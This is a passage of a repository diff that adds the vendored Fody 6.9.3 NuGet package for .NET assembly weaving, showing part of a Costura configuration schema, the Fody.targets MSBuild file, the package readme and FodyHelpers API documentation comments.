||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
</xs:complexType>
|
||||||
BIN
packages/Fody.6.9.3/.signature.p7s
vendored
Normal file
BIN
packages/Fody.6.9.3/.signature.p7s
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/Fody.6.9.3.nupkg
vendored
Normal file
BIN
packages/Fody.6.9.3/Fody.6.9.3.nupkg
vendored
Normal file
Binary file not shown.
149
packages/Fody.6.9.3/build/Fody.targets
vendored
Normal file
149
packages/Fody.6.9.3/build/Fody.targets
vendored
Normal file
|
|
@ -0,0 +1,149 @@
|
||||||
|
<Project>
|
||||||
|
<PropertyGroup>
|
||||||
|
<ProjectWeaverXml Condition="$(ProjectWeaverXml) == ''">$(ProjectDir)FodyWeavers.xml</ProjectWeaverXml>
|
||||||
|
<FodyPath Condition="$(FodyPath) == ''">$(MSBuildThisFileDirectory)..\</FodyPath>
|
||||||
|
<FodyAssemblyDirectory Condition="$(MSBuildRuntimeType) == 'Core'">$(FodyPath)tasks\netstandard2.0</FodyAssemblyDirectory>
|
||||||
|
<FodyAssemblyDirectory Condition="$(MSBuildRuntimeType) != 'Core'">$(FodyPath)tasks\net472</FodyAssemblyDirectory>
|
||||||
|
<FodyAssembly Condition="$(FodyAssembly) == ''">$(FodyAssemblyDirectory)\FodyTasks.dll</FodyAssembly>
|
||||||
|
<DefaultItemExcludes>$(DefaultItemExcludes);FodyWeavers.xsd</DefaultItemExcludes>
|
||||||
|
<FodyGenerateXsd Condition="$(FodyGenerateXsd) == ''">true</FodyGenerateXsd>
|
||||||
|
<MsBuildMajorVersion>15</MsBuildMajorVersion>
|
||||||
|
<MsBuildMajorVersion Condition="'$(MSBuildVersion)' != ''">$([System.Version]::Parse($(MSBuildVersion)).Major)</MsBuildMajorVersion>
|
||||||
|
<FodyAfterTargets Condition="($(MsBuildMajorVersion) < 17) AND '$(FodyAfterTargets)'==''">AfterCompile</FodyAfterTargets>
|
||||||
|
<TargetsTriggeredByCompilation Condition="'$(FodyAfterTargets)'==''">$(TargetsTriggeredByCompilation);FodyTarget</TargetsTriggeredByCompilation>
|
||||||
|
<DisableFody Condition='$(UseWPF)==true AND $(MSBuildProjectName.EndsWith("_wpftmp"))'>true</DisableFody>
|
||||||
|
<FodyTreatWarningsAsErrors Condition="$(FodyTreatWarningsAsErrors) == ''">$(TreatWarningsAsErrors)</FodyTreatWarningsAsErrors>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<ItemGroup Condition="Exists($(ProjectWeaverXml))">
|
||||||
|
<UpToDateCheckInput Include="$(ProjectWeaverXml)" />
|
||||||
|
<CustomAdditionalCompileInputs Include="$(ProjectWeaverXml)" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<!-- Support for NCrunch -->
|
||||||
|
<ItemGroup Condition="'$(NCrunch)' == '1' and '$(TargetFramework)' == '' and '$(TargetFrameworks)' == ''">
|
||||||
|
<None Include="$(FodyAssemblyDirectory)\*.*" />
|
||||||
|
<None Include="@(WeaverFiles)" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<UsingTask TaskName="Fody.WeavingTask" AssemblyFile="$(FodyAssembly)" />
|
||||||
|
<UsingTask TaskName="Fody.UpdateCopyLocalTask" AssemblyFile="$(FodyAssembly)" />
|
||||||
|
<UsingTask TaskName="Fody.VerifyTask" AssemblyFile="$(FodyAssembly)" />
|
||||||
|
|
||||||
|
<Target
|
||||||
|
Name="FodyTarget"
|
||||||
|
AfterTargets="$(FodyAfterTargets)"
|
||||||
|
Condition="Exists(@(IntermediateAssembly)) And ($(DesignTimeBuild) != true Or $(BuildingForLiveUnitTesting) == true) And $(DisableFody) != true"
|
||||||
|
DependsOnTargets="$(FodyDependsOnTargets)"
|
||||||
|
Inputs="@(IntermediateAssembly);$(ProjectWeaverXml)"
|
||||||
|
Outputs="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache;$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache">
|
||||||
|
|
||||||
|
<Error Condition="($(MsBuildMajorVersion) < 16)"
|
||||||
|
Text="Fody is only supported on MSBuild 16 and above. Current version: $(MsBuildMajorVersion)." />
|
||||||
|
|
||||||
|
<Fody.WeavingTask
|
||||||
|
AssemblyFile="@(IntermediateAssembly)"
|
||||||
|
IntermediateDirectory="$(ProjectDir)$(IntermediateOutputPath)"
|
||||||
|
KeyOriginatorFile="$(KeyOriginatorFile)"
|
||||||
|
AssemblyOriginatorKeyFile="$(AssemblyOriginatorKeyFile)"
|
||||||
|
ProjectDirectory="$(MSBuildProjectDirectory)"
|
||||||
|
ProjectFile="$(MSBuildProjectFullPath)"
|
||||||
|
SolutionDirectory="$(SolutionDir)"
|
||||||
|
References="@(ReferencePath)"
|
||||||
|
SignAssembly="$(SignAssembly)"
|
||||||
|
DelaySign="$(DelaySign)"
|
||||||
|
ReferenceCopyLocalFiles="@(ReferenceCopyLocalPaths)"
|
||||||
|
RuntimeCopyLocalFiles="@(RuntimeCopyLocalItems)"
|
||||||
|
DefineConstants="$(DefineConstants)"
|
||||||
|
DocumentationFile="@(DocFileItem->'%(FullPath)')"
|
||||||
|
WeaverFiles="@(WeaverFiles)"
|
||||||
|
WeaverConfiguration="$(WeaverConfiguration)"
|
||||||
|
PackageReferences="@(PackageReference)"
|
||||||
|
NCrunchOriginalSolutionDirectory="$(NCrunchOriginalSolutionDir)"
|
||||||
|
IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache"
|
||||||
|
RuntimeCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache"
|
||||||
|
GenerateXsd="$(FodyGenerateXsd)"
|
||||||
|
TreatWarningsAsErrors="$(FodyTreatWarningsAsErrors)"
|
||||||
|
>
|
||||||
|
|
||||||
|
<Output
|
||||||
|
TaskParameter="ExecutedWeavers"
|
||||||
|
PropertyName="FodyExecutedWeavers" />
|
||||||
|
|
||||||
|
</Fody.WeavingTask>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<FileWrites Include="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache" />
|
||||||
|
<FileWrites Include="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target
|
||||||
|
Name="FodyUpdateReferenceCopyLocalFilesTarget"
|
||||||
|
AfterTargets="FodyTarget"
|
||||||
|
>
|
||||||
|
|
||||||
|
<Fody.UpdateCopyLocalTask
|
||||||
|
CopyLocalFiles="@(ReferenceCopyLocalPaths)"
|
||||||
|
IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.CopyLocal.cache"
|
||||||
|
>
|
||||||
|
|
||||||
|
<Output
|
||||||
|
TaskParameter="UpdatedCopyLocalFiles"
|
||||||
|
ItemName="FodyUpdatedReferenceCopyLocalPaths" />
|
||||||
|
|
||||||
|
</Fody.UpdateCopyLocalTask>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<FodyRemovedReferenceCopyLocalPaths Include="@(ReferenceCopyLocalPaths)" />
|
||||||
|
<FodyRemovedReferenceCopyLocalPaths Remove="@(FodyUpdatedReferenceCopyLocalPaths)" />
|
||||||
|
<ReferenceCopyLocalPaths Remove="@(ReferenceCopyLocalPaths)" />
|
||||||
|
<ReferenceCopyLocalPaths Include="@(FodyUpdatedReferenceCopyLocalPaths)" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target
|
||||||
|
Name="FodyUpdateRuntimeCopyLocalItemsTarget"
|
||||||
|
AfterTargets="FodyTarget"
|
||||||
|
>
|
||||||
|
|
||||||
|
<Fody.UpdateCopyLocalTask
|
||||||
|
CopyLocalFiles="@(RuntimeCopyLocalItems)"
|
||||||
|
IntermediateCopyLocalFilesCache="$(IntermediateOutputPath)$(MSBuildProjectFile).Fody.RuntimeCopyLocal.cache"
|
||||||
|
>
|
||||||
|
|
||||||
|
<Output
|
||||||
|
TaskParameter="UpdatedCopyLocalFiles"
|
||||||
|
ItemName="FodyUpdatedRuntimeCopyLocalItems" />
|
||||||
|
|
||||||
|
</Fody.UpdateCopyLocalTask>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<FodyRemovedRuntimeCopyLocalItems Include="@(RuntimeCopyLocalItems)" />
|
||||||
|
<FodyRemovedRuntimeCopyLocalItems Remove="@(FodyUpdatedRuntimeCopyLocalItems)" />
|
||||||
|
<RuntimeCopyLocalItems Remove="@(RuntimeCopyLocalItems)" />
|
||||||
|
<RuntimeCopyLocalItems Include="@(FodyUpdatedRuntimeCopyLocalItems)" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target
|
||||||
|
Name="FodyVerifyTarget"
|
||||||
|
AfterTargets="AfterBuild"
|
||||||
|
Condition="'$(NCrunch)' != '1' And $(FodyExecutedWeavers) != '' And $(DisableFody) != true"
|
||||||
|
DependsOnTargets="$(FodyVerifyDependsOnTargets)">
|
||||||
|
|
||||||
|
<Fody.VerifyTask
|
||||||
|
ProjectDirectory="$(MSBuildProjectDirectory)"
|
||||||
|
TargetPath="$(TargetPath)"
|
||||||
|
SolutionDirectory="$(SolutionDir)"
|
||||||
|
WeaverConfiguration="$(WeaverConfiguration)"
|
||||||
|
DefineConstants="$(DefineConstants)"
|
||||||
|
NCrunchOriginalSolutionDirectory="$(NCrunchOriginalSolutionDir)"
|
||||||
|
/>
|
||||||
|
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
</Project>
|
||||||
BIN
packages/Fody.6.9.3/package_icon.png
vendored
Normal file
BIN
packages/Fody.6.9.3/package_icon.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.7 KiB |
6
packages/Fody.6.9.3/package_readme.md
vendored
Normal file
6
packages/Fody.6.9.3/package_readme.md
vendored
Normal file
|
|
@ -0,0 +1,6 @@
|
||||||
|
### Extensible tool for weaving .net assemblies
|
||||||
|
|
||||||
|
Manipulating the IL of an assembly as part of a build requires a significant amount of plumbing code. This plumbing code involves knowledge of both the MSBuild and Visual Studio APIs. Fody attempts to eliminate that plumbing code through an extensible add-in model.
|
||||||
|
|
||||||
|
For more information about the Fody project see https://github.com/Fody/Home
|
||||||
|
|
||||||
BIN
packages/Fody.6.9.3/tasks/net472/FodyCommon.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/FodyCommon.dll
vendored
Normal file
Binary file not shown.
BIN
packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll
vendored
Normal file
BIN
packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll
vendored
Normal file
Binary file not shown.
293
packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml
vendored
Normal file
293
packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml
vendored
Normal file
|
|
@ -0,0 +1,293 @@
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<doc>
|
||||||
|
<assembly>
|
||||||
|
<name>FodyHelpers</name>
|
||||||
|
</assembly>
|
||||||
|
<members>
|
||||||
|
<member name="T:Fody.BaseModuleWeaver">
|
||||||
|
<summary>
|
||||||
|
Base class for module weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.Config">
|
||||||
|
<summary>
|
||||||
|
The full element XML from FodyWeavers.xml.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteDebug(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Low"/> level
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogDebug">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Low"/> level.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteInfo(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write a log entry to MSBuild with the <see cref="F:Fody.MessageImportance.Normal"/> level
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogInfo">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a log entry at the <see cref="F:Fody.MessageImportance.Normal"/> level.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteMessage(System.String,Fody.MessageImportance)">
|
||||||
|
<summary>
|
||||||
|
Write a log entry to MSBuild with <paramref name="importance"/> level
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogMessage">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a log entry at a specific <see cref="T:Fody.MessageImportance"/> level.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write a warning to MSBuild.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||||
|
<summary>
|
||||||
|
Write a warning to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteWarning(System.String,Mono.Cecil.MethodDefinition)">
|
||||||
|
<summary>
|
||||||
|
Write a warning to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogWarning">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a warning.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogWarningPoint">
|
||||||
|
<summary>
|
||||||
|
Handler for writing a warning at a specific point in the code
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String)">
|
||||||
|
<summary>
|
||||||
|
Write an error to MSBuild.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.Cil.SequencePoint)">
|
||||||
|
<summary>
|
||||||
|
Write an error to MSBuild and use <paramref name="sequencePoint"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.WriteError(System.String,Mono.Cecil.MethodDefinition)">
|
||||||
|
<summary>
|
||||||
|
Write a error to MSBuild and use <paramref name="method"/> for the file and line information.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogError">
|
||||||
|
<summary>
|
||||||
|
Handler for writing an error.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.LogErrorPoint">
|
||||||
|
<summary>
|
||||||
|
Handler for writing an error at a specific point in the code.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ResolveAssembly">
|
||||||
|
<summary>
|
||||||
|
Handler for resolving <see cref="T:Mono.Cecil.AssemblyDefinition"/>s.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.AssemblyResolver">
|
||||||
|
<summary>
|
||||||
|
The current <see cref="T:Mono.Cecil.IAssemblyResolver"/>s.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ModuleDefinition">
|
||||||
|
<summary>
|
||||||
|
An instance of <see cref="T:Mono.Cecil.ModuleDefinition"/> for processing.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.TypeSystem">
|
||||||
|
<summary>
|
||||||
|
Commonly used <see cref="T:Mono.Cecil.TypeReference"/>s.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.AssemblyFilePath">
|
||||||
|
<summary>
|
||||||
|
The full path of the target assembly.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ProjectDirectoryPath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the target project.
|
||||||
|
A copy of $(MSBuildProjectDirectory).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ProjectFilePath">
|
||||||
|
<summary>
|
||||||
|
The full file path of the target project.
|
||||||
|
A copy of $(MSBuildProjectFullPath).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.DocumentationFilePath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the XML documentation file,
|
||||||
|
if generating the documentation file is enabled in the project.
|
||||||
|
A copy of @(DocFileItem->'%(FullPath)').
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.AddinDirectoryPath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the current weaver.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.SolutionDirectoryPath">
|
||||||
|
<summary>
|
||||||
|
The full directory path of the current solution.
|
||||||
|
A copy of `$(SolutionDir)` or, if it does not exist, a copy of `$(MSBuildProjectDirectory)..\..\..\`. OPTIONAL
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.References">
|
||||||
|
<summary>
|
||||||
|
A semicolon delimited string that contains
|
||||||
|
all the references for the target project.
|
||||||
|
A copy of the contents of the @(ReferencePath).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ReferenceCopyLocalPaths">
|
||||||
|
<summary>
|
||||||
|
A list of all the references marked as copy-local.
|
||||||
|
A copy of the contents of the @(ReferenceCopyLocalPaths).
|
||||||
|
</summary>
|
||||||
|
<remarks>
|
||||||
|
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(ReferenceCopyLocalPaths) list of the current build.
|
||||||
|
</remarks>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.RuntimeCopyLocalPaths">
|
||||||
|
<summary>
|
||||||
|
A list of all the runtime references marked as copy-local.
|
||||||
|
A copy of the contents of the @(RuntimeCopyLocalItems).
|
||||||
|
</summary>
|
||||||
|
<remarks>
|
||||||
|
This list will be actively synced back to the build system, i.e. adding or removing items from this list will modify the @(RuntimeCopyLocalItems) list of the current build.
|
||||||
|
</remarks>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.DefineConstants">
|
||||||
|
<summary>
|
||||||
|
A list of all the msbuild constants.
|
||||||
|
A copy of the contents of the $(DefineConstants).
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.Execute">
|
||||||
|
<summary>
|
||||||
|
Called when the weaver is executed.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.Cancel">
|
||||||
|
<summary>
|
||||||
|
Called when a request to cancel the build occurs.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.GetAssembliesForScanning">
|
||||||
|
<summary>
|
||||||
|
Return a list of assembly names for scanning.
|
||||||
|
Used as a list for <see cref="P:Fody.BaseModuleWeaver.FindType"/>.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.FindTypeDefinition(System.String)">
|
||||||
|
<summary>
|
||||||
|
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.FindType">
|
||||||
|
<summary>
|
||||||
|
Handler for searching for a type.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.TryFindTypeDefinition(System.String,Mono.Cecil.TypeDefinition@)">
|
||||||
|
<summary>
|
||||||
|
Find a <see cref="T:Mono.Cecil.TypeDefinition"/>.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.TryFindType">
|
||||||
|
<summary>
|
||||||
|
Handler for searching for a type.
|
||||||
|
Uses all assemblies listed from calling <see cref="M:Fody.BaseModuleWeaver.GetAssembliesForScanning"/> on all weavers.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="M:Fody.BaseModuleWeaver.AfterWeaving">
|
||||||
|
<summary>
|
||||||
|
Called after all weaving has occurred and the module has been saved.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:Fody.BaseModuleWeaver.ShouldCleanReference">
|
||||||
|
<summary>
|
||||||
|
Set to true if the reference to an equally named library (same name as this fody addin with the ending ".Fody" trimmed)
|
||||||
|
should be removed by Fody after a successful execution
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.MessageImportance">
|
||||||
|
<summary>
|
||||||
|
Abstraction for the MSBuild MessageImportance.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.MessageImportanceDefaults">
|
||||||
|
<summary>
|
||||||
|
Defaults for <see cref="T:Fody.MessageImportance"/> when writing to <see cref="P:Fody.BaseModuleWeaver.LogDebug"/> and <see cref="P:Fody.BaseModuleWeaver.LogInfo"/>.
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.Ildasm">
|
||||||
|
<summary>
|
||||||
|
Decompile assemblies using ildasm.exe.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.LogMessage">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.PeVerifier">
|
||||||
|
<summary>
|
||||||
|
Verifies assemblies using peverify.exe.
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.SequencePointMessage">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TestAssemblyResolver">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TestResult">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.WeaverTestHelper">
|
||||||
|
<summary>
|
||||||
|
Uses <see cref="P:System.Reflection.Assembly.CodeBase"/> to derive the current directory.
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TypeCache">
|
||||||
|
<summary>
|
||||||
|
Only for test usage. Only for development purposes when building Fody addins. The API may change in minor releases.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="T:Fody.TypeSystem">
|
||||||
|
<summary>
|
||||||
|
